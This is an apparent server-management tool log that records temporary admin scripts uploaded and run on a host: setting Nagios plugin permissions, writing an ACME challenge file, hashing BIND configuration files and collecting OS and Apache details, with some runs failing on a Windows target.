2025-12-31 19:57:53: 

PUT: /tmp/pkp908298

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_printer.php'
echo ok


2025-12-31 19:57:53: 

chmod 755 /tmp/pkp908298; /tmp/pkp908298; rm /tmp/pkp908298

2025-12-31 19:57:53: 


ok


2025-12-31 19:57:54: 

PUT: /tmp/pkp753166

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2025-12-31 19:57:54: 

chmod 755 /tmp/pkp753166; /tmp/pkp753166; rm /tmp/pkp753166

2025-12-31 19:57:55: 


ok


2025-12-31 19:57:55: 

PUT: /tmp/pkp506102

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_ssl_cert.php'
echo ok


2025-12-31 19:57:55: 

chmod 755 /tmp/pkp506102; /tmp/pkp506102; rm /tmp/pkp506102

2025-12-31 19:57:56: 


ok


2025-12-31 19:57:56: 

PUT: /tmp/pkp892572

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2025-12-31 19:57:57: 

chmod 755 /tmp/pkp892572; /tmp/pkp892572; rm /tmp/pkp892572

2025-12-31 19:57:57: 


ok


2025-12-31 19:57:57: 

PUT: /tmp/pkp623023

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_php.php'
echo ok


2025-12-31 19:57:58: 

chmod 755 /tmp/pkp623023; /tmp/pkp623023; rm /tmp/pkp623023

2025-12-31 19:57:58: 


ok


2025-12-31 19:57:59: 

PUT: /tmp/pkp503596

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2025-12-31 19:57:59: 

chmod 755 /tmp/pkp503596; /tmp/pkp503596; rm /tmp/pkp503596

2025-12-31 19:57:59: 


ok


2025-12-31 19:58:00: 

PUT: /tmp/pkp371914

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_autoupdate.php'
echo ok


2025-12-31 19:58:00: 

chmod 755 /tmp/pkp371914; /tmp/pkp371914; rm /tmp/pkp371914

2025-12-31 19:58:00: 


ok


2025-12-31 19:58:01: 

PUT: /tmp/pkp757598

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_file_exists'
echo ok


2025-12-31 19:58:01: 

chmod 755 /tmp/pkp757598; /tmp/pkp757598; rm /tmp/pkp757598

2025-12-31 19:58:01: 


ok


2026-01-01 06:00:03: Establishing a connection
2026-01-01 06:00:03: Establishing a connection
2026-01-01 06:00:03: 

PUT: /tmp/pkp885992

#!/bin/bash
if [ -d "/var/www/biblealive_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-01-01 06:00:04: 

chmod 755 /tmp/pkp885992; /tmp/pkp885992; rm /tmp/pkp885992

2026-01-01 06:00:04: 


1


2026-01-01 06:00:05: Establishing a connection
2026-01-01 06:00:05: 

PUT: /tmp/pkp132935

#!/bin/bash
mkdir -p "/var/www/biblealive_www/.well-known/acme-challenge/"
cd "/var/www/biblealive_www/.well-known/acme-challenge/"
cat > hpgDTE7a9W0jynnWPXErm52NbhhxiH73JCpcc_kliJQ <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
hpgDTE7a9W0jynnWPXErm52NbhhxiH73JCpcc_kliJQ.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 hpgDTE7a9W0jynnWPXErm52NbhhxiH73JCpcc_kliJQ


2026-01-01 06:00:05: 

chmod 755 /tmp/pkp132935; /tmp/pkp132935; rm /tmp/pkp132935

2026-01-01 06:00:05: 




2026-01-01 13:29:19: Establishing a connection
2026-01-01 13:29:19: 

PUT: /tmp/pkp407119

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-01-01 13:29:20: 

runuser -l bind -s /bin/bash -c '/tmp/pkp407119; rm /tmp/pkp407119'

2026-01-01 13:29:20: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-01-01 13:32:28: Establishing a remote connection
2026-01-01 13:48:06: Establishing a remote connection
2026-01-01 17:02:46: Establishing a remote connection
2026-01-01 17:02:52: Establishing a remote connection
2026-01-01 17:02:53: 

PUT: /tmp/pkp666741

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}
show_hostname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	hostname >> $temp_file
	echo >> $temp_file
}
show_arc() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -m >> $temp_file
	echo >> $temp_file
}
show_uname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -r -s >> $temp_file
	echo >> $temp_file
}

if [ -f /etc/centos-release ]; then
	show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
	show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
	show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
	show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
	show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
	show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
	show_file /proc/swaps
fi

show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'

gzip -cn9 $temp_file
rm $temp_file

2026-01-01 17:02:53: 

chmod 755 /tmp/pkp666741; /tmp/pkp666741; rm /tmp/pkp666741







STDERR:
'chmod' is not recognized as an internal or external command,
operable program or batch file.


2026-01-01 17:02:54: 

PUT: /tmp/pkp401316

#!/bin/bash

# get service version
apache_output() {
	sub_file=$(mktemp)
	script -q -c "$1 -V" $sub_file
	cat $sub_file
	rm $sub_file
}
apache_output2() {
	$1 -V
}

apachectl_output() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
	file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
	pid=`cat $file`;
	cat $temp_file
	rm $temp_file

# also get user/group
	echo pid: $pid

	if [ -d "/etc/apache2/sites-available" ]; then
		echo available=sites-available
	elif [ -d "/etc/apache2/hosts.d" ]; then
		echo available=hosts.d
	elif [ -d "/etc/apache2/conf.d" ]; then
		echo available=conf.d
	fi
	
	echo [ps]
	ps up $pid
}

apachectl_enabled() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_MODULES > $temp_file 2>&1
	echo [modules]
	cat $temp_file
	rm $temp_file
}

if [[ "$OSTYPE" == "darwin"* ]]; then
	echo [apache2]
	apache_output2 /usr/sbin/httpd

elif [ -e "/usr/sbin/httpd" ]; then
	echo [httpd]
	apache_output /usr/sbin/httpd
 
    if [ -d "/etc/httpd/conf.d" ]; then
		echo available=conf.d
	fi
fi

if [ -e "/usr/sbin/apache2" ]; then
	echo [apache2]
	source /etc/apache2/envvars
	apache_output2 /usr/sbin/apache2
	apachectl_output
	apachectl_enabled
fi


2026-01-01 17:02:54: 

chmod 755 /tmp/pkp401316; /tmp/pkp401316; rm /tmp/pkp401316







STDERR:
'chmod' is not recognized as an internal or external command,
operable program or batch file.


2026-01-01 17:02:55: 

SERVER INFO (php_model): array (
  'debian' => 0,
  'redhat' => 0,
  'name' => '',
  'arch' => '',
  'mac' => 0,
  'distro' => '',
  'web' => 
  array (
  ),
)


2026-01-01 17:02:55: 

PUT: /tmp/pkp335326

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}

# show available php versions


gzip -cn9 $temp_file
rm $temp_file


2026-01-01 17:02:55: 

chmod 755 /tmp/pkp335326; /tmp/pkp335326; rm /tmp/pkp335326







STDERR:
'chmod' is not recognized as an internal or external command,
operable program or batch file.


2026-01-01 17:02:56: 

PUT: /tmp/pkp663997

#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def collectCfgFiles(filename):
        config = []
        f = open(filename, 'r')
        file = f.readlines()
        for v in file:
                v = v.rstrip()
                if v != '' and v[0] != '#':
                        p = v.find('=')
                        if p > -1:
                                key = v[:p].strip()
                                value=v[p+1:].strip()
                                if key == 'cfg_file':
                                        config.append(value)
        f.close()
        return config

def generate_hash(filename, type = 'MD5'):
        digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
        payload = type + '(' + filename + ')= ' + digest + "\n"
        gz.write(payload.encode('cp437'))

def scan_folder(folder):
        if os.path.isdir(folder):
                filelist = glob.glob(folder + '/check*')
                for filename in filelist:
                        generate_hash(filename, 'bin')
        return

try:
        try:
                filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
                for file in filelist:
                        generate_hash(file)

        except:
                pass

        scan_folder('/usr/local/nagios/libexec')

finally:
        gz.close();
        
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)
        

2026-01-01 17:02:56: 

chmod 755 /tmp/pkp663997; /tmp/pkp663997; rm /tmp/pkp663997







STDERR:
'chmod' is not recognized as an internal or external command,
operable program or batch file.


2026-01-02 11:22:00: Establishing a remote connection
2026-01-02 11:22:01: guest operating system: 
2026-01-02 11:22:01: 

PUT: /tmp/pkp196702

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}
show_hostname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	hostname >> $temp_file
	echo >> $temp_file
}
show_arc() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
